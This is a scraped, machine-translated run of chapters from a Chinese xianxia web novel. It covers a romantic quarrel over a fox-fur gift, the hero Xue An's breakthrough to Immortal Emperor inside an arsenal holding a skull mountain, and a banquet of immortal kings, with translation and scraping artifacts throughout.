    Ao Yi''s eyebrows were filled with joy, and she respected the nine-tailed fox ancestor who was extremely inconspicuous in the eyes of outsiders.


    Because the marriage between her and Hu Ye was decided by him, and now she is calling her grandson and daughter-in-law in public. How can this not make her angry.


    So she immediately shouted, "Ancestor!"


    "Hey, a good grandson and daughter-in-law!" Huhuan smiled so much that his eyes were almost out of sight, then stretched out his hand and took out something from his arms.


    "Here, here you are!"


    Ao Yi took it, and first looked at the furry little fox model with some curiosity, and couldn''t help sighing, "Wow, it''s so cute!"


    Then she asked with some doubts: "Ancestor, what is this?"


    "Oh, this is the fluff I secretly cut from Fox Ye when he was born. Now I give it to you as a gift!"


    Ao Yi was overjoyed when he heard that, "Thank you, ancestor!"


    The eyes of Fox Ye on the side were already rounded, "Ancestor, you..."


    But before he finished speaking, Hu Huan patted him on the shoulder again, and then smiled and said, "What? Do you have an opinion?"


    Fox Ye was bitter, and was about to speak, but heard a soft voice from behind him.


    "Ancestor, this thing... Rou''er wants it too!"


    As soon as this statement was made, everyone turned their heads and looked around.


    But seeing the crowd quietly parting a road, and then seeing Rouerlian in full dress move lightly, walking in front of everyone.


    It was her at first sight.


    The expressions on everyone''s faces are extremely wonderful.


    Ye Hanchang and Tianzhe couldn''t help but stare at each other. It''s just fine if their minds just walked away. This is purely a **** field!


    Not to mention what everyone was thinking, just to say that this nine-tailed fox Zuhuhuan immediately became embarrassed after seeing that the person was Rou''er. UU reading


    "Uh...this...this..."


    "Why? Rouer did something wrong, isn''t it worth the gift from your ancestor?"


    "No, no, of course not, of course the gift is fine, Rouer, just say what you want!" Hu Huan said immediately.


    Rou''er shook her head gently, then raised her hand to point to the little fox in Ao Yi''s hand, "I don''t want anything, I have to make this from the fluff of my husband!"


    Rouer deliberately emphasized the pronunciation of the word "husband and prince", which implies a faint demonstration.


    Ao Yi did not show weakness, but raised his eyes coldly, and the two eyes collided.


    In an instant, in the eyes of many people, the void in front of them seemed to arouse countless sparks, which was frightening.


    At least the nearest Huhuan couldn''t help swallowing.


    Even with his nine-tailed lord, he still felt a deep chill, because he gave a strong laugh.


    "Haha, I suddenly remembered that there are some important things to do, so you guys talk first, I''m leaving!"


    Said and turned around to do it.


    But at this time, a chubby hand grabbed him, and then saw Xiaozheng Tai''s Fox An helplessly shook his head and whispered.


    "Master, if you leave like this, don''t you have any shame in your conscience? After all, these things were caused by you!"


    In fact, from the very beginning, Huan knew that something was going to happen today.


    Because he knew too much about his master''s temperament, he had to find something if he was fine, let alone something.


    Sure enough, before finishing the three sentences, Hu Huan completely intensified the conflict between the two women.


    Now he wanted to leave, how could it be so easy.


    Huhuan''s face showed embarrassment, "How did I know this would happen!"

 Chapter 2113： "Shura" Terminator

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    "If you don''t know, then you won''t be silent, right now, the kid Huye is caught in the middle. He is not a person inside and out. What do you think?"


    "Isn''t he a human in the first place, can he blame me?" Hu Huan muttered softly.


    Hearing this, Hu An almost had the heart to vomit blood, and couldn''t help but whispered: "Master, can you stop being so distracted?"


    Hu Huan''s face also showed a very aggrieved look, "Why don''t I pay attention to it, and I will give the future disciple-grandchild-in-law a meeting ceremony. Is this wrong?"


    "Yes, of course you are right, but what about this situation now? Can you still come up with a gift that is exactly the same?"


    Huhuan scratched the back of his head and smiled awkwardly, "No!"


    But immediately he added: "Why don''t I use the fluff on my body, I have been depilated badly these years, I have accumulated a lot, let alone such a gadget, it will be no problem to get an elephant out!"


    Hu An rolled his eyes, completely speechless.


    at the same time.


    The smoke-free war between the two women is still going on.


    I saw Ao Yi shook the little fox in his hand and said lightly: "What? You want it? Then I''ll give it to you."


    Rou''er shook her head, "I want, but I won''t want you."


    As she said, she turned her head to look at Xiang Huye, "Husband, bring this thing over to me!"


    Hu Ye broke out in a cold sweat at the time, and his eyes were filled with confusion.


    Because he really didn''t know, Rouer, who had always been gentle and considerate, and even didn''t express any opinions when he made the marriage contract with Ao Yi, why suddenly seemed like a different person, so aggressive?


    far away.


    Ye Hanchang looked at Fox Ye, who seemed to be about to cry, couldn''t help but shook his head and sighed, "It''s so pitiful!"


    Tianzhe nodded in sympathy, "I really blame the poor, I don''t know who can save Fox Ye."


    "Hehe save him? In this situation, there is only one person who can save this little fox!"


    "You mean..." Tianzhuna thoughtfully.


    "Yes! It''s a pity that he is not here now!" Ye Hanchang sighed lightly.


    As soon as the voice fell, it seemed to be in response to Ye Hanshang''s words, only to see the void in front of everyone suddenly rippled, and then two figures came out of it one after the other.


    When the leader appeared in front of everyone, there was a fierce commotion in the audience.


    Because the person who came was Xue An who had just left the sword palace star field.


    As soon as he saw him, Ye Hanshang, who was still talking just now, couldn''t help but muttered in shock: "My son, is this guy poisonous? He arrived as soon as I mentioned him?"


    At the same time, after seeing Xue An, Huye immediately shouted: "Old Xue, you are finally back!"


    As he said, he rushed up like a hungry tiger, and at the same time he kept winking at Xue An, then his lips moved slightly, and he whispered in a voice that only Xue An could hear.


    "Old Xue, save me, or brother, I will be finished today!"


    Xue An glanced across the field, and when he saw Ao Yi and Rou''er standing opposite each other, he immediately understood what had happened and couldn''t help but stretch out **** with a smile.


    "What do you mean?" Hu Ye was a little confused.


    "It''s okay to help you, but after it''s done, you have to do two things for me unconditionally!"


    Huye''s face collapsed suddenly, "You are too dark!"


    "It''s too dark? That''s good, then you can ask yourself more!"


    With that, Xue An turned around and rushed towards Tianzhuna and Ye Hanchang and smiled: "You two are finally here!"


    The two smiled slightly, but did not speak, but looked at the situation in the field with weird faces.


    At the same time, Xue An nodded at Fan Mengxue in the distance, and smiled faintly: "Long time no see!"


    Fan Mengxue shook all over, then turned his head and nodded slightly, "Yes, long time no see!"


    The atmosphere in the field began to become more and more weird.


    After seeing Xue An, Meng Yao, who was standing next to Jin Jue, the master of exorcism, wanted to rush to talk to Xue An, but when she felt the atmosphere in the field, she couldn''t help being silent.


    At this moment, Ao Yi and Rou''er came up to give a salute to Xue Anyuan.


    "I saw Guren-sama!"


    Xue An couldn''t help sighing after feeling Fan Mengxue''s estrangement from him, but soon he recovered and then smiled at the two.


    "You''re welcome!"


    With that, he glanced at Hu Ye next to him, and raised his eyebrows slightly.


    So what do you think about it?


    Hu Ye gritted his teeth secretly and nodded imperceptibly.


    Xue An showed a bright smile, and then said lightly: "So many friends are here, why didn''t Yan''er arrive? What a rude!"


    With that, Xue An''s eyes flashed with brilliance, and a divine thought flew into the sword palace star field.


    Just a moment later, two figures were seen rushing out of the Sword Palace star field, flying towards Xue An impatiently, and then rushing into Xue An''s arms.


    "Dad, you are finally back!"


    It is these two little girls who miss and miss. UU reading


    An Yan also arrived soon after.


    Xue An smiled at her slightly.


    An Yan understood her heart and immediately walked to Rou''er and Ao Yi, and looked at them with a smile.


    "Oh, I was just telling a story to Miss Miss in the Star Territory, but I didn''t even notice that you were here. I''m really sorry!"


    Whether it was Rouer or Ao Yi, they all became very honest when they came to An Yan.


    Especially the second dragon princess Ao Yi, she knew An Yan''s identity, so she wanted to give a gift.


    An Yan stopped her, then stretched out her hand to hold Rou''er and her, and said with a chuckle: "It''s too messy here, let''s talk to me in the star field!"


    Of course the two would not refuse.


    And just before leaving, An Yan raised her eyes to look at Fan Mengxue in the distance, and smiled slightly, "Mengxue, what are you doing standing stupid? Come back with me, the two little girls miss you!"


    Fan Mengxue trembled all over.


    She never expected that An Yan would not ignore her at this time.


    Not only that, but the two little girls broke free from Xue An''s arms, rushed to her excitedly, and said with great joy.


    "Aunt Mengxue, you are finally back!"


    "Well, where have you been all this time? We miss you so much!"


    In an instant, a huge happiness flooded Fan Mengxue''s heart. She knelt down, stroked the missed cheek lightly, and then whispered softly.


    "Auntie went to do something!"


    "Hmm, aunty, are you all done now? Are you still leaving?" Nian Nian asked, tilting her head.


    Fan Mengxue smiled slightly, "The matter is over, don''t leave!"


    "Yeah, great! Aunt Mengxue, let''s go back soon. After you left, Xiaosha has already woke up!"

 Chapter 2114： 2 Great Immortal Emperor

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    The two little girls dragged Fan Mengxue to the Sword Palace Star Territory. Fan Mengxue''s face was lightly smiling, but the corners of her eyes were unknowingly wet.


    quickly.


    Ao Yi, Rou''er, Fan Mengxue and other women followed An Yan.


    A turmoil disappeared invisible.


    Hu Ye stared blankly, and only after a long time did he raise his head to look at Xue An.


    "This... is this over?"


    "It''s over!"


    "It''s that simple?"


    Xue An shrugged and wrote lightly: "It''s that simple, otherwise how complicated do you think it will be?"


    Then Xue An smiled slightly, "Don''t forget the agreement just now, you owe me two things now."


    Hu Ye was extremely upset, holding his head and said: "You look at my elm head, why didn''t I expect my sister-in-law to come over for help?"


    Xue An reached out and patted his head, and said lightly: "It''s okay, just get used to it in the future."


    Ye Hanshang and Tian Zona, who had been holding back their laughter, couldn''t help but finally laughed.


    "Yes, just get used to it from now on!" Ye Hanchang smiled.


    "I''m pooh, Xiao Ye Zi, your IQ may not be much higher than mine. Besides, you didn''t miss the battle just now. You have to be ashamed when it''s your turn!"


    Ye Hanchang shrugged, "Don''t worry, in order not to happen, I decided to stay single in the future!"


    Fox Night: "..."


    After such a fuss, the haze that had previously shrouded the audience disappeared.


    The nine-tailed fox Zuhuhuan, who knew he had done something wrong, was too embarrassed to say hello, and desperately just wanted to escape.


    Xue An suddenly stopped him, "Wait a minute, don''t rush away!"


    Huhuan stopped, then turned his head, with an awkward smile on his face: "Xiaohong, what''s the matter? What''s the matter?"


    Xiao Hong?


    This name made Ye Hanshang and the others bewildered instantly.


    Yue Qinghuan, who was not far behind, covered his mouth and chuckled.


    Guanghua flashed in Xue An''s eyes, and then said coldly: "If you don''t want all the hair on your body to be slicked, you can say that again!"


    Huhuan smiled, a very wretched smile appeared on that vicissitudes of life, "I am not kidding you, look, why are you still serious!"


    Xue An looked at a desolate middle-aged Fox Huan, and couldn''t help but sigh softly: "I''m really wondering how you became a nine-tailed sky fox."


    "What''s wrong with my temper?" Hu Huan was taken aback, looked down at his hand, immediately understood something, and smiled slightly.


    "I''m not afraid that I''m too good to behave and attract the admiration of the girl again. If you don''t like this look, then I will just change it!"


    As he spoke, he saw that Huhuan''s whole person''s image suddenly changed, and then a young Fox clan with an extremely beautiful face and two slender fox ears appeared in front of everyone.


    It is the original face of Huhuan.


    "Well, this is more pleasing to the eye!" Xue An said lightly.


    "Okay, you should stop me not just to change my image, what''s the matter?" Hu Huan asked in a deep voice.


    After changing his form, he seems to have changed his personality, no longer the tiredness and slick tone of his previous life.


    "Very simple, I need your help on one thing!"


    "Need my help?" Hu Huan looked at Xue An suspiciously. "Although your current strength has not completely recovered, it is almost the same as me. What else do I need to help?"


    "Of course you can''t do it alone, because this matter requires... the combined efforts of the two immortal emperors!"


    When saying this, Xue An''s eyes flashed a bit of brilliance.


    But Ye Hanshang and others were a commotion.


    Because they couldn''t really imagine what Xue An was going to do, and even needed the joint efforts of the two immortal emperors.


    Only this Yue Qinghuan seemed to have thought of something, was slightly startled, and immediately revealed a faint smile.


    Huhuan was naturally shaken, and then he was surprised: "What do you want to do?"


    "When the time comes, you will know it naturally, and I will ask you if you can help me!"


    "It''s okay to help, but the point is that now the entire Sword Palace Star Region is the Immortal Emperor, what should I do?"


    Xue An smiled faintly, "Who said you are the emperor?"


    "Isn''t it...huh? You mean...Li Jingxing?" Hu Huan immediately understood.


    Xue An nodded, then stretched his eyebrows, looked into the depths of the stars, and said lightly: "I have a hunch, he will wake up soon!"


    "How is it possible, didn''t he have to retreat for at least three years before he can recover? It''s just over a year now..."


    Huhuan''s words stopped abruptly, because at this moment, Xue An''s eyes suddenly burned with majestic sword intent.


    Then Xue An stepped out and flew straight into the sword palace star field.


    "Fox Huan come with me! The rest will return to their places."


    Although it is not clear what Xue An intends to do, Huhuan still disappeared shortly afterwards.


    In an instant, only Ye Hanshang and others were left in the field.


    Everyone looked at each other, and immediately a wry smile appeared on Ye Hanshang''s face This was the first time I felt that I was such a failure as the fairy king, because even Lao Xue didn''t have the right to know what he wanted to do. "


    Tianzhe felt the same way.


    Hu Ye patted them on the shoulders, and then sighed softly: "No way, Lao Xue is not like this pervert that we can compare, anyway, I''m used to it!"


    Just as Huye and others sighed outside the star field.


    Xue An and Hu Huanye have come to Li Jingxing''s retreat.


    The guard here is actually not very strict, for no other reason.


    It is because a strong person like Li Jingxing is often more terrifying in a closed state than when he is sober.


    A little carelessness may be directly shattered by the terrifying sword intent.


    So naturally no one dared to come look for things.


    Of course, Xue An and Huhuan are not in this list.


    I saw Xue An approaching Li Jingxing, staring at the fluctuating path above his head, thousands of miles away, and the end is the majestic sword intent straight into the void.


    Then Xue An''s eyebrows showed a red sword intent, and then the sword intent began to increase a little bit, but even when it grew to the largest, it was only a small sword the size of a palm.


    Huhuan was shocked when he saw this, "Xue An, what do you want to do?"


    Xue An said indifferently, "At this time, his sword heart is fully restored, and all he lacks is to restore his sword intent, so now I will use my body to help him wake up soon!"


    After speaking, this small sword merged into the sword intent above Li Jingxing''s head.


    boom!


    As if a little spark ignited the withered grass in the mountains and plains, the sword intent above Li Jingxing''s head was directly detonated, and then it shook violently.


    At the same time, Li Jingxing''s momentum began to climb wildly.


    Huhuan looked silly, "My slot, can I still play like this?"

 Chapter 2115： Majestic

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    Finally, Li Jingxing slowly opened his eyes.


    After seeing Xue An standing in front of him, Li Jingxing was startled slightly, Xuan even understood, and said with a chuckle.


    "No wonder I noticed that the sword intent suddenly began to grow rapidly during the retreat. It turned out that you were helping in secret!"


    Xue An also smiled, "How do you feel?"


    Governor Li Jing stood up. Although it was just such a simple action, the power of the whole body still made the space tremble.


    "It''s better than ever!"


    As he said, he took a deep look at Xue An, "You are so anxious to wake me up, but are there any changes in the heavens?"


    Xue An shook his head, "It''s considered a change, but it''s not because of those that I wake you up!"


    "What''s that?" Li Jingxing couldn''t help but wonder.


    Xue An''s eyes flickered, and he said in a deep voice: "I want you and Huhuan to do me a favor!"


    "What do I need to do?" Seeing Xue An''s attitude, Li Jingxing''s expression also became serious.


    Xue An took a deep breath and slowly said, "Help me break through the current realm and prove Dao Immortal Emperor."


    As soon as this statement came out, Li Jingxing and Hu Huanqi both changed their colors.


    Because the realm like Xue An is already extremely high among the heavens.


    In particular, Xue An was born with respect and respect. With the blessing of this background, it was enough to kill all powerhouses of the same level.


    But with such strength, Xue An is still willing to take a strange risk to break through the current realm. What does this show?


    It shows that the upcoming catastrophe is extremely dangerous, and Xue An''s current strength is simply impossible to fight!


    Realizing this, the faces of Hu Huan and Li Jingxing both became very cold.


    "Do you need to be so anxious?" Li Jingxing asked in a deep voice.


    Xue An nodded.


    "Because of the intrusion of evil objects, the time limit for the seal on the bronze door has been greatly shortened. Now there are only three years left, and God knows what weird methods these evil objects have. So for the sake of safety, I must take advantage of this time. Do your best to improve your cultivation."


    "But I am already a half-step immortal emperor cultivation base, if I want to improve, I can only break through the realm of the immortal king! Originally this is not difficult for me, I can successfully prove the immortal emperor in ten years, but Time is too late, so I need you two to help me break through as soon as possible!"


    Li Jingxing and Hu Huan nodded one after another, "What do we need to do then?"


    "It''s very simple, as long as..." Xue An''s eyes flashed a bright brilliance, "Let me put it to death and live!"


    hiss!


    After listening to Xue An''s plan, even Li Jingxing and Hu Huan, both of whom were the immortal emperor, couldn''t help taking a breath.


    "This risk is too great, is it really necessary?" Hu Huan asked solemnly.


    "Yes, is there any other way?" Li Jingxing also asked.


    Xue An chuckled and shook his head, "There is no other way than this, and you don''t have to worry about it. Since I have proposed this method, it proves that I must have full confidence, so you just do what I said. !"


    Hu Huan and Li Jingxing wanted to continue to dissuade them, but by looking at the expressions on Xue An''s face, they knew it was useless to say anything.


    The two looked at each other and couldn''t help sighing together, then nodded.


    "Well, in that case, then we will take this risk with you!"


    "But if the three of you and I do your best, the movement will be too great, I''m afraid this sword palace star field will be affected, so we need to find a quiet place!"


    Xue An shook his head, "No, I am ready!"


    After all, Xue An''s brows flashed, and a desolate and simple building appeared in front of the two.


    The two of them were shocked, and both were shocked by the power contained in this building.


    "this is����."


    Xue An said lightly: "This is the arsenal I discovered by accident back then, and later I got the underground palace of Xuanming Tomb. The two merged together to become the way it is now. Its quality is extremely strong and it can withstand the power of the three of us!"


    Huhuan looked at the building and couldn''t help but exclaimed: "Is this stuff... so magical?"


    "Do you know if you try it?"


    After that, Xue An smiled slightly, and then the brilliance flashed on the arsenal, and the three of them were involved.


    This arsenal is actually no different from the outside world.


    Huhuan only felt a flower in front of him, and then he felt nothing strange.


    He looked around and couldn''t help saying, "Xue An, is this in the arsenal? Why do I feel that it is no different from outside?"


    Before the words were over, the darkness and void in front of him quickly receded, replaced by a vast expanse of wilderness.


    On the wilderness, the bones are like mountains, and the broken flags and broken swords are everywhere, and it is an extremely desolate ancient battlefield.


    In the very center of the battlefield stands a tall Skull Mountain.


    However, the densely packed skulls were piled up to form a pyramid-like mountain.


    And these skulls are arranged in a specific direction, and the eyes of the black hole are looking straight ahead, which is chilling.


    Even the most inconspicuous Huhuan closed his mouth immediately after seeing this scene, his expression became extremely solemn and then whispered: "Jingguan!"


    "Yes, it''s Jingguan!" Xue An said solemnly.


    Li Jingxing on the side suddenly said in surprise: "These skulls... are weird!"


    "What''s weird?" Hu Huan asked.


    Li Jingxing''s face sank like water, "The aura contained in these skulls is extremely solemn and majestic. Obviously, they weren''t mortals in life!"


    Huhuan''s complexion also changed, "You mean, these skulls were strong people before they were alive?"


    "Yes!"


    "Oh my god, how many powerhouses it takes to create such a huge Jingguan!" Hu Huan was simply amazed.


    Li Jingxing turned his head to look at Xue An, "Xue An, do you know the origin of this arsenal?"


    Xue An shook his head, "I don''t know, but at least it''s not a thing of the heavens!"


    As soon as these words came out, Li Jingxing and Hu Huan were both silent.


    Li Jingxing sighed suddenly, "Sure enough, I should have thought of it long ago!"


    "Okay, no matter whether it is from the heavens or not, the top priority now is to help Xiao Xue reach the top of the Immortal Emperor!" Hu Huan said.


    "That''s right!" Li Jingxing nodded.


    Then the two looked at Xue An together, "Will it start now?"


    Xue An smiled freely and said lightly: "Let''s start!"


    As soon as the voice fell, a huge foxtail drew straight towards Xue An, accompanied by the power of rules to completely condense the surrounding void.


    But in the next instant, the tail was flew out.


    At the same time, Li Jingxing''s sword also arrived.


    This sword came straight to Xue An''s door like a river of heaven spilling.


    Xue An was not afraid, even without blinking his eyelids, he cut out with a single sword, directly shattering the sword of Li Jingxing.


    Then the three of them fought thoroughly.


    But seeing the brilliance all over the sky, the shock rumbling.

 Chapter 2116： Return to the emperor, blood and blood

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    The majestic power is scattered everywhere, if it is in the heavens, the leaked power alone is enough to destroy a star.


    But in this arsenal, it just made the void slightly shake.


    Even the Jingguan at the ancient battlefield under his feet did not shake a half.


    Suddenly, the three separated.


    Looking at the three people at this time, they are all panting, and there are many scars on their bodies.


    Despite this, the three of them laughed loudly after looking at each other.


    "Have fun, it''s been a long time since I played so happy!" Hu Huan said excitedly.


    "Yes, I have no scruples about pouring this sword in my chest, I even feel that my sword heart is more understanding and clear!" Li Jingxing also smiled.


    Xue An shook his head, and then suddenly stretched his hand forward, a long sword purely condensed by the intent of the sword appeared in his hand.


    "It''s still not enough, come again!"


    When the words fell, Xue An''s figure flashed, and he took the initiative to rush to Li Jingxing and Hu Huan.


    The two were also inspired by Xue An''s actions.


    "Good job!"


    The two shouted together and greeted them without fear.


    The three fought together again.


    This time the power is more violent than just now.


    The rumbling impact ran across the four fields, and the Jingguan began to tremble slightly.


    Xue An''s uprising suddenly yelled, "Heavenly Law!"


    Then he displayed the sword of heaven, earth and man.


    This is a sword technique unique to the Chinese, and it is even more powerful when displayed in Xue An''s hands at this moment.


    The three people who were on the rise did not even notice. When Xue An''s three-talented sword was displayed, the eye sockets of these skulls suddenly began to seep a little light.


    These brilliances are extremely thin, but they cannot hold up to a large number, so they quickly converged into a huge ancient seal script.


    This scene finally attracted the attention of Xue An and Li Jingxing.


    "What is going on? What is this word?" Hu Huan said in astonishment.


    Xue An''s expression changed drastically, "This word..."


    Before the words were finished, the seal character was completely formed.


    The moment it took shape, it radiated thousands of rays of light, and then the seal characters appeared on the top of Xue An''s head at an incredible speed, and then began to instill brilliance into Xue An''s body madly.


    "Xue An!" Li Jingxing exclaimed, and wanted to step forward.


    But Huhuan stopped him, "Don''t go over, he''s okay, on the contrary this word is still helping him!"


    At this time, Li Jingxing also noticed the changes in the field, but couldn''t help asking.


    "What the **** is going on? What is this Jingguan, and what is this weird word?"


    A dignified look appeared in Hu Huan''s eyes, "I don''t know, I should ask him after he comes out!"


    Li Jingxing stopped talking, but stood aside and watched quietly.


    The speed of instilling these brilliance is extremely fast, but with the time of a cup of tea, this seal character is already blurred and almost transparent.


    Xue An closed his eyes and stood in the void, his whole body was like boiling, and he kept climbing.


    Suddenly!


    The seal character trembled suddenly, and then shattered like a bubble.


    But it was such an understatement that shocked the entire arsenal.


    And the powerful power emanating from Xue An shook both Hu Huan and Li Jingxing a few steps back.


    The expressions on their faces became more solemn.


    Because they know that Xue An is now breaking through the barrier, so this time is the most critical.


    Once he has broken through, he will be successfully promoted to the next level, but if he fails, the consequences will be unimaginable.


    We must know that among the heavens, those who can become immortal kings are already rare, and those who prove the way to the immortal emperor are even rare in a billion.


    There is no other reason, because the threshold of Emperor Immortal is too difficult to cross.


    Fox night is an example.


    As the absolute heir of the Qingqiu Fox Country, he has massive resources and a unique bloodline talent.


    But even so, he was still stuck in the realm of the fairy king for hundreds of years, and only recently did he take a step forward and become a half-step fairy emperor.


    This shows how difficult it is to prove Immortal Emperor Dao.


    So even if they knew that Xue An had passed this level, Li Jingxing and Hu Huan still raised their hearts to their throats.


    But when the two of them were in fear, Xue An suddenly opened his eyes.


    The brilliance in the eyes is like electricity, making the entire arsenal bright.


    Then I heard a sound like a broken eggshell coming from Xue An''s body.


    With these sounds, Xue An''s temperament became more and more ethereal, and his muscles and bones became almost jade-like, extremely clear.


    Li Jingxing and Hu Huan let out a sigh of relief.


    Then Huhuan excitedly said: "Xue An, congratulations on your successful proving, and then return to the position of the emperor!"


    Li Jingxing did not speak, but the smile on his face also proved the joy in his heart.


    Xue An didn''t speak, or even glanced at them. Instead, he walked straight to the Jingguan.


    This scene also made Hu Huan and Li Jingxing startled slightly, and then the smiles on their faces gradually reduced and followed.


    In the blink of an eye, Xue An came to this Jingguan. After he stopped, he raised his head and looked up at this horrible building made up of countless skulls, with infinite pain and anger in his eyes. color.


    Then he slowly leaned down and fell to the ground in the startled gaze of Huhuan and Li Jingxing!


    "This..." Li Jingxing couldn''t believe his eyesXue An, who was the Red Lotus Immortal Venerable and re-appointed the Immortal Emperor, actually knelt to a Jingguan.


    This is really unbelievable.


    But Huhuan seemed to have suddenly understood something, and sighed slightly, "This is really...a **** hatred!"


    At the same time, after three solemn kowtows, Xue An stood up and said in a deep voice: "Chinese ancestors, late-born Xue Anye already knows the blood feud back then, rest assured, those hands are covered with my Chinese blood The initiator..."


    "I won''t let it go!"


    This statement came out.


    Li Jingxing finally understood.


    This Jingguan was originally cast from the heads of Chinese people!


    As soon as he thought of this, he couldn''t help but see a cold light in his eyes.


    You know that there are more than thousands of heads here, and you can imagine how cruel the Chinese were treated.


    Huhuan watched silently, his eyes filled with magnificent brilliance.


    And just as Xue An''s voice fell, the Jingguan suddenly began to tremble, and then cracks began to appear on the skulls.


    boom!


    When the crack reached a certain level, the Jingguan finally collapsed completely and turned into flying ashes, and then gradually disappeared.


    This strange and tragic scene silenced all three of them.


    Suddenly, Xue An raised his hand and bit his finger, then put it on his lips, and shouted.


    "Senior, go well!"


    Swear by blood!


    The highest etiquette of the ancient Chinese.


    Once displayed, it means immortality.


    And at the same moment, in a corner of the arsenal, Yue Qinghuan showed his figure, and then couldn''t help but sigh lightly.


    "Sure enough to be a Chinese person, really...deadhearted!"

 Chapter 2117： 5 great fairy kings, get together again

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    Located in the sword palace in the middle of the star field.


    Hu Ye and Ye Hanshang leaned on the pillars in the corridor, looking bored at the churning sea of ??clouds outside.


    This is the highest place in the entire sword palace, named Wu Jianting.


    In the earliest time, Li Jingxing was here to comprehend sword intent.


    Only after the sword intent took shape, Li Jingxing seldom came here.


    But ordinary disciples still didn''t dare to set foot here easily, so it was completely preserved and became the holy place of the sword palace.


    But at this moment, this Wujian Pavilion has become a place for the two idlers, Huye and Ye Hanshang, to drink.


    That''s right!


    For the entire bustling and lively sword palace, Hu Ye and Ye Hanshang are indeed two idlers.


    Because all the strong men who rushed in were generally assigned tasks, and they were busy doing their duties in an orderly manner.


    Only the two of them were too high in state and status, no one dared to give orders to them.


    As a result, they became the existence of wild cranes, and they could only come here every day to sneak in.


    At this time, I saw Ye Hanchang drank the glass of wine contentedly, and sighed softly, "It''s still clean here. The only flaw is that the dishes are almost apt to be served. If there are more dishes that Lao Xue personally cooks for the wine, It would be more perfect!"


    "Okay, you can be content, still thinking about Lao Xue cooking for you, do you think that is possible? I stole these wines and vegetables secretly from the kitchen of the sword palace, you can just eat it!" Ye said.


    Ye Hanshang didn''t answer, but instead poured another cup.


    "Oh, you drink slowly, just drink it like this, and it will be gone after you drink it for a while. Save me more, otherwise I won''t have a chance to drink it in the future!" Hu Ye was a little anxious.


    Ye Hanchang gave a white look at Fox Ye, "You said you are also a dignified fairy king anyway, why are you so mixed up that you can''t even drink a sip?"


    "Oh!" Hu Ye sighed and said with a drooping head: "You don''t know, since I got married, I can only drink three glasses of wine a day."


    "Just three cups?"


    "Yes!" Hu Ye nodded, and stretched out three fingers with grief, "Just three cups!"


    "You said that I am also a fairy king at any rate. I want to drink some wine but I can only drink three glasses a day. Is that enough?"


    A very sympathetic look appeared on Ye Hanchang''s face, "Not enough!"


    "Say it, taking advantage of the chance right now, I have to drink enough before talking!" Then, Hu Ye picked up the wine jar and poured it down into a jar.


    Ye Hanshang looked at Fox Ye like this, and couldn''t help saying, "I don''t dare to get married when I see you like this!"


    "Don''t get married, this is a big pit, now it''s because sister Yan is here, Rou''er gives me face, otherwise I wouldn''t even dare to drink this little wine!" Hu Ye sighed.


    Ye Hanchang suddenly remembered something, and leaned in front of Hu Ye and whispered: "Then how are your two now? Can you make up?"


    Fox Ye Ji Lingling shuddered, "I don''t know, I dare not even look at it!"


    Ye Hanchang patted Fox Ye on the shoulder with infinite sympathy, "Little Fox, I am more and more sympathetic to you now!"


    "Hey, don''t say it, the words are in the wine, I''m doing it!" Then, Fox Ye raised his neck and drank another jar of wine.


    "Hey, you can''t do this, please leave me some too!" Ye Hanshang couldn''t help but worry.


    The two started arguing about the ownership of the wine.


    At this moment, I heard a long laugh from a distance, "Little Apiao, little fox, I guess you two are drinking here without calling us, really not enough friends!"


    With the voice, but seeing the three radiances, he broke into the Wujian Pavilion. After he emerged, the leader was Tianzhana, and the old way, who was smiling and standing behind him, was not Zhuge Zang and who was it?


    As for the big man, of course Chu Wuxiang!


    When they saw the three of them, Ye Hanshang and Hu Ye couldn''t help being very surprised.


    Especially Ye Hanshang, stood up and bowed to Zhuge Zang and Chu Wuxiang.


    "Friend of Zhuge, fellow of Chu!"


    Fox Ye didn��t have that much etiquette, and immediately bluffed: "God, I don��t call you what it means to drink. The three of you are healing people and protecting the law. As for you, you are not seen all day. I am I can''t touch you if I want to drink with you!"


    "Okay, you have so many **** excuses. Looking at the food you are eating, it is also a dignified fairy king anyway, is it so shabby?" Tianzhuna cursed with a smile.


    "Hey!" Huye rubbed her nose with some embarrassment, "No way, this is the condition at home!"


    When Ye Hanshang and Tian Zuna came the day before, Zhuge Zang was healing the seriously injured Qiu Yiye, and Chu Wuxiang was guarding the law, so the two did not appear.


    Until then, when Qiu Yiye''s injury was no longer serious, the two of them followed Tianzhuna to find Ye Hanshang and Huye.


    At this moment, the five immortal kings finally gathered again.


    Wu Jianting also became lively.


    The previous order of wine and food was not enough at the time, but fortunately Tianzhe had prepared it a long time ago and saw him wave it casually.


    The exquisite dishes are filled with the generous table in Wujian Pavilion.


    "Oh, that''s okay! God, these dishes are bought from where you buy them, they are all very hard!"


    Looking at these delicious foods, Hu Ye turned around the square table three times, and his saliva almost came out!


    "Hold it!" Tianzhe was proud, "To tell you the truth, these dishes are all made by my disciples!"


    "You disciple? The one with Old Xue?" Hu Ye was surprised.


    Tianzhuna''s face instantly became gloomy, "Little fox, can you **** speak, my apprentice is a bingqingyujie girl!"


    Huye was also startled to fail to speak, he smiled, and hurriedly said: "I was wrong, I was wrong, I am all to blame!"


    Of course, Tianzhe wouldn''t be really angry, so he just took a few words with a smile to expose the incident.


    "I have food, but where is the wine?" Hu Ye asked scratching his head again.


    "Haha, I''ve been prepared for the old way!" Zhuge Zang smiled, and then flung his robe sleeves and a jar of wine appeared on the table.


    "Just one altar, who is enough to drink?" Hu Ye looked unhappy.


    "Fox King is not anxious, you only see one jar, but in fact there is enough wine in it to die of drunkenness!" Zhuge Zang laughed.


    "Cut, I don''t believe it!" Hu Ye looked suspicious.


    But after only three glasses of wine, Fox Ye''s eyes began to lose sight, and his voice became octaves higher.


    "Good wine! Really good wine!"


    "Just how much you drink, what''s not good wine?" Ye Hanshang said with some disdain.


    Everyone laughed, and the laughter shattered the sea of ??clouds in the distance, and also made many of the sword palace disciples passing by.


    After three rounds of drinking, Ye Hanchang put down the wine glass and said softly, "I don''t know what Old Xue is doing now!"


    "Yeah! It took three days to go with Li Jingxing and Huhuan, and there was no news. What are they up to?" Tianzhina couldn''t help but sigh softly.


    The atmosphere at the dinner table also became dull for a while.


    Then Huye turned his head to look at Zhuge Zang, and said with a big tongue: "Old Tao, can''t you pinch and count, then count my Xue brother''s situation now"

 Chapter 2118： Bronze Gate Change

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


